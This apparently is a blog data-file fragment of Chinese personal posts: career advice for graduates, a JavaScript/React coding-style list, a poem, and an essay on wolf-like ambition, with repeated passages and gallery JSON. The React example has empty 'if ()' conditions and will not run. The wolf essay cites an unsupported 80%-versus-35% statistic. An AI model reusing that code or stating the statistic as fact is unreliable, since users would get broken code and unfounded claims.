刚入职场,很多学生会比 offer、 收入…等等。不是说不应该在意,而是优先级高的应该是自己的成长值能增加多少,能不能通过自己的努力,把自己作为一个产品给做出来。\b衡量自己未来的 10 年收入,不仅仅是经济,还有能力、资历的,不争一城一地的得失,将重点放到\b经营自己这个产品上来。
\n\n\n投资自己,让自己不断增值,才是正事。
\n
人都希望被表扬。有的时候就要忍受阶段性的在角落,\b可能很辛苦,作出了成绩没人认同很委屈,稍微作出了点事就想\b收到认同。其实\b,这往往需要时间\b、需要积累和沉淀。很多事你是在为自己做,做多了,大概率会有好结果,即使不是立刻就有。
\n\n\n自己的行为过于依赖周围人的反应,反而会打乱自己的节奏。
\n
在学校里,你成绩可能比人家好,在社会上,可能人家混的比你好。社会和学校有他们自己的规则,\b\b不要在比较重蹉跎。
\n\n\n按照自己的节奏,一步一步让自己变得更好。
\n
这个世界存在坏人,因为利益、嫉妒、扭曲的心理…学校可能环境相对简单,但是工作中,情况就要复杂很多。比如你是医生,就要\b做好医闹的准备。在公司工作,该有的流程,\b\b留下邮件的,都得有。
\n\b在请他人帮忙处理前,自己先尽力找到处理问题的办法。实在不行再开口,又或者是时间周期短,加急的情况。
\n常常有人说我穷、没钱。\b大多数人是家境可以,但是该消费的地方不消费,例如:学习和自我提升。不该消费的地方大手笔,例如:电脑要最新,手机要最新。更多体现\b的是一种攀比心理。如何领先他人抓住机遇,也体现在如何正确和理性的投资。
\n说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺,保持谦虚,是一种态度。
\n所谓人脉,其实不是认识的人越多越好,而是要和事情,和自己能力匹配,大家基于共同的事情,兴趣认识,主要是一起讨论和学习,当然还有认识彼此。
\n\n\n要让这个状态成为自然的结果,而不是刻意为之。
\n
通过书面的、语言的沟通,把自己的观点表达的有条理并且富有\b逻辑,讲明白了事情,但是又不会引起反感,如果身边有这样的人,可以向他们学习学习。
\n在一个行业里,应该去和整个行业最优秀的人做比较,经常跳出来,看看最好的人在做什么,不要把自己局限住,把自己的目标设高点,就算达不到,也要往上\b爬。
\n跳出他人的观点,敢于对各种观点\b质疑。取其精华\b\b,抛弃糟蹋。
\n有时候总是说,凡是\b努力就会成功,如果没有成功,就是努力的还不够。\b但是随着成长,就会发现,有些事情就是自己不擅长做的。就像高中成绩,总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。
\n\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"聚焦自己能力之内的,不要意想天开,认为自己无所不能。
\n
持续认为自己还没准备好,\b遇到新的挑战(机会),本能的觉得自己没学过,回避,很多时候,是你有了责任,有了目标,才会让自己更强大\b,而不是自己强大了再做某事。
\n\n\n永远让事情推自己走,而不是让自己跟着事情走。
\n
习惯老师留作业。但是工作了,很多时候要自己发挥,等着布置作业那是泯然众人的做法。在职场上有突破的,往往都更主动,他们不会\b羞涩于请教,不会因为\b担心麻烦人而影响工作,他们只是在聚焦如何让工作做得更好,所以积极主动。
\n\n\n不要小看主动的力量。
\n
很多人习惯了学生时代的感觉,习惯了有确定性的事物,却不知道,工作中有很多不确定性。你总说在面对各种未知的问题,有问题就要解决问题。有些人面对这样的逆境,不够坚韧,总选择逃避,很难承担\b重任,职场发展就会受限。
\n不要把无知当个性,不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心,大家更想\b配合好把事情做完。有个性和脾气不是不可以,但那是建立在自身的本事和成绩上的。
\n\n\n恃才傲物\b还可以接受,没能力还以自我为中心只会被人嫌弃。
\n
自信心不强经常遇到,但还有另一种极端的情况,就是过于放大自己的价值。在一个新组织里,既有自己的努力,又有组织提供的机会。我们常常说要从小事做起,其实就是在积攒人品,让别人逐步信任你。其实我们往往没有想象中那么重要,只是大家积累起来的信任链条。\b
\n\n\n不吭不卑才是合适的作风。
\n
很多人习惯了按部就班,习惯了在一条轨道上,有什么想法也只是说说而已,并没有\b勇气去落地执行,只是在等待,这样的人\b则完全没有任何魄力。
\n\n\n只是等待,没有任何结果。
\n
我是学…的,我是做…的,所以我不能…。往往希望自己\b能从他人那里得到一些肯定。其实如果信心坚定,大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。
\n\n\n没有那么多鸿沟拦着你,是你自己拦着自己。
\n
读书的时候,好学生和一般的学生,多少会有点距离。在社会里,工作上要去拉近这个距离。时常看看优秀的人在做什么,看到好的点,学习到自己这里,这是好事。
\n\n\n\b见贤思齐焉。
\n
刚入职场,很多学生会比 offer、 收入…等等。不是说不应该在意,而是优先级高的应该是自己的成长值能增加多少,能不能通过自己的努力,把自己作为一个产品给做出来。\b衡量自己未来的 10 年收入,不仅仅是经济,还有能力、资历的,不争一城一地的得失,将重点放到\b经营自己这个产品上来。
\n\n\n投资自己,让自己不断增值,才是正事。
\n
人都希望被表扬。有的时候就要忍受阶段性的在角落,\b可能很辛苦,作出了成绩没人认同很委屈,稍微作出了点事就想\b收到认同。其实\b,这往往需要时间\b、需要积累和沉淀。很多事你是在为自己做,做多了,大概率会有好结果,即使不是立刻就有。
\n\n\n自己的行为过于依赖周围人的反应,反而会打乱自己的节奏。
\n
在学校里,你成绩可能比人家好,在社会上,可能人家混的比你好。社会和学校有他们自己的规则,\b\b不要在比较重蹉跎。
\n\n\n按照自己的节奏,一步一步让自己变得更好。
\n
这个世界存在坏人,因为利益、嫉妒、扭曲的心理…学校可能环境相对简单,但是工作中,情况就要复杂很多。比如你是医生,就要\b做好医闹的准备。在公司工作,该有的流程,\b\b留下邮件的,都得有。
\n\b在请他人帮忙处理前,自己先尽力找到处理问题的办法。实在不行再开口,又或者是时间周期短,加急的情况。
\n常常有人说我穷、没钱。\b大多数人是家境可以,但是该消费的地方不消费,例如:学习和自我提升。不该消费的地方大手笔,例如:电脑要最新,手机要最新。更多体现\b的是一种攀比心理。如何领先他人抓住机遇,也体现在如何正确和理性的投资。
\n说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺,保持谦虚,是一种态度。
\n所谓人脉,其实不是认识的人越多越好,而是要和事情,和自己能力匹配,大家基于共同的事情,兴趣认识,主要是一起讨论和学习,当然还有认识彼此。
\n\n\n要让这个状态成为自然的结果,而不是刻意为之。
\n
通过书面的、语言的沟通,把自己的观点表达的有条理并且富有\b逻辑,讲明白了事情,但是又不会引起反感,如果身边有这样的人,可以向他们学习学习。
\n在一个行业里,应该去和整个行业最优秀的人做比较,经常跳出来,看看最好的人在做什么,不要把自己局限住,把自己的目标设高点,就算达不到,也要往上\b爬。
\n跳出他人的观点,敢于对各种观点\b质疑。取其精华\b\b,抛弃糟蹋。
\n有时候总是说,凡是\b努力就会成功,如果没有成功,就是努力的还不够。\b但是随着成长,就会发现,有些事情就是自己不擅长做的。就像高中成绩,总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。
\n\n\n"},{"title":"我个人的coding风格","date":"2017-11-26T05:46:13.000Z","_content":"\n我一直在探索属于我自己独一无二的代码风格\n\n## 识别度高的 HTML\n\n## 简洁大方的 CSS\n\n## 可维护性强的 js\n\n> 最近在看这本书,书中有很多技巧让我受益颇多\n\n### 基本格式\n\n* 缩进保持 4 个空格\n* if else 语句和上一个 if 语句中间留个空行\n* 注释另起一行\n* 不写分号,保持样式简洁\n* 符号与字符串之间要空行\n* 中文和英文之间用空格拆开\n* 单行代码长度不超过 80 个字符\n* 如果一行代码超过最大限度,换行的给两个默认缩进,增加辨识度\n* 另外,换行缩进不要带符号换行\n* 命名方式:\n 1· 方法函数是驼峰命名\n 2· 构造函数是首字母大写命名\n 3· 常量采取全大写命名\n 4· js 中不要省略小数点前的 0 (css可以)\n* 多次申明 单var\n* if 语句即使再短,也不要写在一行\n* 申明在调用的前面\n* 函数调用,参数要左右空格,以突出参数\n* 立即执行函数若赋值给某个对象,给该函数加一个圆括号\n* 尽量不使用 === 和 != (强转换机制)\n* css 和 JavaScript 的松耦合\n* 避免使用全局变量\n* 组件式开发时,_ 开头为私有方法,监听事件前缀为 handle,事件监听传递时,属性名用 on 开头\n* react组件内容编写顺序:\n 1. static 开头类的属性,eg:defaultProps, propTypes\n 2. 构造函数 constructor\n 3. getter/setter \n 4. 组件生命周期\n 5. _开头的私有方法\n 6. 事件监听方法\n 7. render* 开头的方法\n 8. render\n\n> EXP(以 react 为例):\n``` \n //组件\n class Exp extends Component {\n //初始化\n static propTypes = {\n onSubmit: PropTypes.func\n }\n\n //构造函数\n constructor () {\n super()\n this.state = {\n test: '1'\n }\n }\n\n // getter/setter\n getter() {\n\n }\n \n // 即将挂载\n componentWillMount () {\n localStorage.getItem('username')\n }\n\n // 已挂载\n componentDidMount () {\n\n }\n\n // 私有方法\n _selfFunction (username) {\n localStorage.setItem('username', username)\n }\n\n // 监听方法\n function1 () {\n //第一个 if 语句\n if () {\n var test = 'abc',\n first = 1,\n //立即执行函数\n secound = (function () { return 0}())\n\n //第二个 if 语句\n if (allNumber || first || secound || third || monday || sunday || \n satarday) {\n \n //第三个 if 语句\n if () {\n function act (ppt) {}\n\n act( ppt )\n }\n }\n } else {\n \n }\n }\n }\n \n```","source":"_posts/我个人的coding风格.md","raw":"---\ntitle: 我个人的coding风格\ndate: 2017-11-26 13:46:13\ntags: [CStyle]\ncategories: web前端\n---\n\n我一直在探索属于我自己独一无二的代码风格\n\n## 识别度高的 HTML\n\n## 简洁大方的 CSS\n\n## 可维护性强的 js\n\n> 最近在看这本书,书中有很多技巧让我受益颇多\n\n### 基本格式\n\n* 缩进保持 4 个空格\n* if else 语句和上一个 if 语句中间留个空行\n* 注释另起一行\n* 不写分号,保持样式简洁\n* 符号与字符串之间要空行\n* 中文和英文之间用空格拆开\n* 单行代码长度不超过 80 个字符\n* 如果一行代码超过最大限度,换行的给两个默认缩进,增加辨识度\n* 另外,换行缩进不要带符号换行\n* 命名方式:\n 1· 方法函数是驼峰命名\n 2· 构造函数是首字母大写命名\n 3· 常量采取全大写命名\n 4· js 中不要省略小数点前的 0 (css可以)\n* 多次申明 单var\n* if 语句即使再短,也不要写在一行\n* 申明在调用的前面\n* 函数调用,参数要左右空格,以突出参数\n* 立即执行函数若赋值给某个对象,给该函数加一个圆括号\n* 尽量不使用 === 和 != (强转换机制)\n* css 和 JavaScript 的松耦合\n* 避免使用全局变量\n* 组件式开发时,_ 开头为私有方法,监听事件前缀为 handle,事件监听传递时,属性名用 on 开头\n* react组件内容编写顺序:\n 1. static 开头类的属性,eg:defaultProps, propTypes\n 2. 构造函数 constructor\n 3. getter/setter \n 4. 组件生命周期\n 5. _开头的私有方法\n 6. 事件监听方法\n 7. render* 开头的方法\n 8. render\n\n> EXP(以 react 为例):\n``` \n //组件\n class Exp extends Component {\n //初始化\n static propTypes = {\n onSubmit: PropTypes.func\n }\n\n //构造函数\n constructor () {\n super()\n this.state = {\n test: '1'\n }\n }\n\n // getter/setter\n getter() {\n\n }\n \n // 即将挂载\n componentWillMount () {\n localStorage.getItem('username')\n }\n\n // 已挂载\n componentDidMount () {\n\n }\n\n // 私有方法\n _selfFunction (username) {\n localStorage.setItem('username', username)\n }\n\n // 监听方法\n function1 () {\n //第一个 if 语句\n if () {\n var test = 'abc',\n first = 1,\n //立即执行函数\n secound = (function () { return 0}())\n\n //第二个 if 语句\n if (allNumber || first || secound || third || monday || sunday || \n satarday) {\n \n //第三个 if 语句\n if () {\n function act (ppt) {}\n\n act( ppt )\n }\n }\n } else {\n \n }\n }\n }\n \n```","slug":"我个人的coding风格","published":1,"updated":"2018-01-22T06:40:01.795Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6t0041vzqh3j7aepzs","content":"聚焦自己能力之内的,不要意想天开,认为自己无所不能。
\n
我一直在探索属于我自己独一无二的代码风格
\n\n\n最近在看这本书,书中有很多技巧让我受益颇多
\n
1· 方法函数是驼峰命名\n 2· 构造函数是首字母大写命名\n 3· 常量采取全大写命名\n 4· js 中不要省略小数点前的 0 (css可以)\n
1. static 开头类的属性,eg:defaultProps, propTypes\n 2. 构造函数 constructor\n 3. getter/setter \n 4. 组件生命周期\n 5. _开头的私有方法\n 6. 事件监听方法\n 7. render* 开头的方法\n 8. render\n
\n\nEXP(以 react 为例):
\n`
//组件
class Exp extends Component {
//初始化
static propTypes = {
onSubmit: PropTypes.func
}
//构造函数\n constructor () {\n super()\n this.state = {\n test: '1'\n }\n }\n\n // getter/setter\n getter() {\n\n }\n\n // 即将挂载\n componentWillMount () {\n localStorage.getItem('username')\n }\n\n // 已挂载\n componentDidMount () {\n\n }\n\n // 私有方法\n _selfFunction (username) {\n localStorage.setItem('username', username)\n }\n\n // 监听方法\n function1 () {\n //第一个 if 语句\n if () {\n var test = 'abc',\n first = 1,\n //立即执行函数\n secound = (function () { return 0}())\n\n //第二个 if 语句\n if (allNumber || first || secound || third || monday || sunday || \n satarday) {\n\n //第三个 if 语句\n if () {\n function act (ppt) {}\n\n act( ppt )\n }\n }\n } else {\n\n }\n }\n}\n
`
我一直在探索属于我自己独一无二的代码风格
\n\n\n最近在看这本书,书中有很多技巧让我受益颇多
\n
1· 方法函数是驼峰命名\n 2· 构造函数是首字母大写命名\n 3· 常量采取全大写命名\n 4· js 中不要省略小数点前的 0 (css可以)\n
1. static 开头类的属性,eg:defaultProps, propTypes\n 2. 构造函数 constructor\n 3. getter/setter \n 4. 组件生命周期\n 5. _开头的私有方法\n 6. 事件监听方法\n 7. render* 开头的方法\n 8. render\n
\n\nEXP(以 react 为例):
\n`
//组件
class Exp extends Component {
//初始化
static propTypes = {
onSubmit: PropTypes.func
}
//构造函数\n constructor () {\n super()\n this.state = {\n test: '1'\n }\n }\n\n // getter/setter\n getter() {\n\n }\n\n // 即将挂载\n componentWillMount () {\n localStorage.getItem('username')\n }\n\n // 已挂载\n componentDidMount () {\n\n }\n\n // 私有方法\n _selfFunction (username) {\n localStorage.setItem('username', username)\n }\n\n // 监听方法\n function1 () {\n //第一个 if 语句\n if () {\n var test = 'abc',\n first = 1,\n //立即执行函数\n secound = (function () { return 0}())\n\n //第二个 if 语句\n if (allNumber || first || secound || third || monday || sunday || \n satarday) {\n\n //第三个 if 语句\n if () {\n function act (ppt) {}\n\n act( ppt )\n }\n }\n } else {\n\n }\n }\n}\n
`
我很希望,自己的未来能不一样
\n我想要的,就是在平凡中不断的改变自己
\n路上的人,有人嘲笑,有人鼓励
\n我全都笑纳
\n好的留在心里
\n坏的随风飘逝
\n展现真正的自己,表达的更简单一些
\n在机会来临时
\n奋不顾身的抓牢它
\n不要被眼前的利益所迷惑
\n放眼更广阔的未来
\n做好自己
\n抓住身边一切的美好
\n当有一天对一切都无所畏惧
\n那就是
\n重生
\n\n\n人有时候真的挺纠结,就像我今天看了 《龙飞凤舞》,觉得上流社会的生活有时候即糜烂,又觉得美好
\n
有的人花了一生时间,去挤进那样的生活圈,有的人甘愿过着平凡的生活
殊不知,彼此之间都存在着羡慕与无奈
我也不例外
如果哪天,我能够进入这样的世界
我是否能够保持清醒,不被外界所干扰,任然保持初心?
我也不敢保证,所以我一直在努力
为了不亏欠曾经的自己
我不敢停下脚步
我怕我停下来
就找不到回去的路
我也舍弃了太多
只因为我曾经欠下太多
但我不后悔
明天的路, 我想自己走
即使错了,那也是个经历,我会记在心中
将来成功的那天,回忆,何不是一种财富?
我很希望,自己的未来能不一样
\n我想要的,就是在平凡中不断的改变自己
\n路上的人,有人嘲笑,有人鼓励
\n我全都笑纳
\n好的留在心里
\n坏的随风飘逝
\n展现真正的自己,表达的更简单一些
\n在机会来临时
\n奋不顾身的抓牢它
\n不要被眼前的利益所迷惑
\n放眼更广阔的未来
\n做好自己
\n抓住身边一切的美好
\n当有一天对一切都无所畏惧
\n那就是
\n重生
\n\n\n人有时候真的挺纠结,就像我今天看了 《龙飞凤舞》,觉得上流社会的生活有时候即糜烂,又觉得美好
\n
有的人花了一生时间,去挤进那样的生活圈,有的人甘愿过着平凡的生活
殊不知,彼此之间都存在着羡慕与无奈
我也不例外
如果哪天,我能够进入这样的世界
我是否能够保持清醒,不被外界所干扰,任然保持初心?
我也不敢保证,所以我一直在努力
为了不亏欠曾经的自己
我不敢停下脚步
我怕我停下来
就找不到回去的路
我也舍弃了太多
只因为我曾经欠下太多
但我不后悔
明天的路, 我想自己走
即使错了,那也是个经历,我会记在心中
将来成功的那天,回忆,何不是一种财富?
虽然在普通人看来,狼是一个贬义的存在,’狼子野心’,’狼狈为奸’。
但在大自然中,狼群相对于其他生物来说,更富有智慧,更有团结力。狼对机会的把握概率为80%,而人类只有35%左右,\b\b几十\b头狼就可以干翻白羊大军,如果在战场上,这是非常可怕的,所以我们可以从狼的身上学到很多可贵的精神和品质。
狼有非常大的野心,即使数量只有四十只左右,仍然有围剿百羊的勇气,\b即使猎物比自己体型大数倍,也敢于猎杀!
\n‘大丈夫在世,理应如此’,这就是当年项羽看到秦始皇所说的话,反正我感觉听到就有一种豪气冲天的气魄!
\n\n\n寄语:没有\b完成不了的目标,就看你有没有野心去做!
\n
‘当一个人知道自己的目标去处时,全世界都回为他让路’,出自爱默生。
没有目标的人在社会的最底层,目标模糊的人成为蓝领,目标明确的人成为白领,目标远大并记录下来的人,最后会成为社会的顶尖人士!(就像我现在做的)
\n\n寄语:没有猎物,我们就去寻找,发现猎物我们就去追逐。寻找,发现,追逐\b,获得 - 这就是大自然强者生存的要素
\n
野心 !== 妄想,人要有野心,但是也要根据实际出发,当实力悬殊的时候,当竞争法则不再公平的时候,退却是保存实力的最好方法,另一种生命的智慧。
妄想症的核心判断是总是包含着 ”我“,例如:”我伟大”,”人们在迫害我”,”我有罪”…….野心虽然也强调个体,但更多持有一种开放的态度,”我可以做的更好\b“,“我要达到某某那种程度”(当时我说,想成为类似奇舞团,alloyteam,类似大厂的技术团队,这是野心不是妄想)
\n\n寄语:我们不缺乏成功的信念,但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候,适当转移也是明智的选择。
\n
大丈夫能屈能伸,正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服,精明的野心家不会因为愤怒或是心情影响自己的理智,陶渊明的不为五斗米折腰品质固然可贵,但是换个角度思考,这样做的后果是百姓失去了一个好官,自己的前途受损!这样的结果真的是他想要的?如果当时他性格能够弹性一点,成就绝对不止这一点。至少留给后辈的作品会更丰富吧。
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"虽然在普通人看来,狼是一个贬义的存在,’狼子野心’,’狼狈为奸’。
但在大自然中,狼群相对于其他生物来说,更富有智慧,更有团结力。狼对机会的把握概率为80%,而人类只有35%左右,\b\b几十\b头狼就可以干翻白羊大军,如果在战场上,这是非常可怕的,所以我们可以从狼的身上学到很多可贵的精神和品质。
狼有非常大的野心,即使数量只有四十只左右,仍然有围剿百羊的勇气,\b即使猎物比自己体型大数倍,也敢于猎杀!
\n‘大丈夫在世,理应如此’,这就是当年项羽看到秦始皇所说的话,反正我感觉听到就有一种豪气冲天的气魄!
\n\n\n寄语:没有\b完成不了的目标,就看你有没有野心去做!
\n
‘当一个人知道自己的目标去处时,全世界都回为他让路’,出自爱默生。
没有目标的人在社会的最底层,目标模糊的人成为蓝领,目标明确的人成为白领,目标远大并记录下来的人,最后会成为社会的顶尖人士!(就像我现在做的)
\n\n寄语:没有猎物,我们就去寻找,发现猎物我们就去追逐。寻找,发现,追逐\b,获得 - 这就是大自然强者生存的要素
\n
野心 !== 妄想,人要有野心,但是也要根据实际出发,当实力悬殊的时候,当竞争法则不再公平的时候,退却是保存实力的最好方法,另一种生命的智慧。
妄想症的核心判断是总是包含着 ”我“,例如:”我伟大”,”人们在迫害我”,”我有罪”…….野心虽然也强调个体,但更多持有一种开放的态度,”我可以做的更好\b“,“我要达到某某那种程度”(当时我说,想成为类似奇舞团,alloyteam,类似大厂的技术团队,这是野心不是妄想)
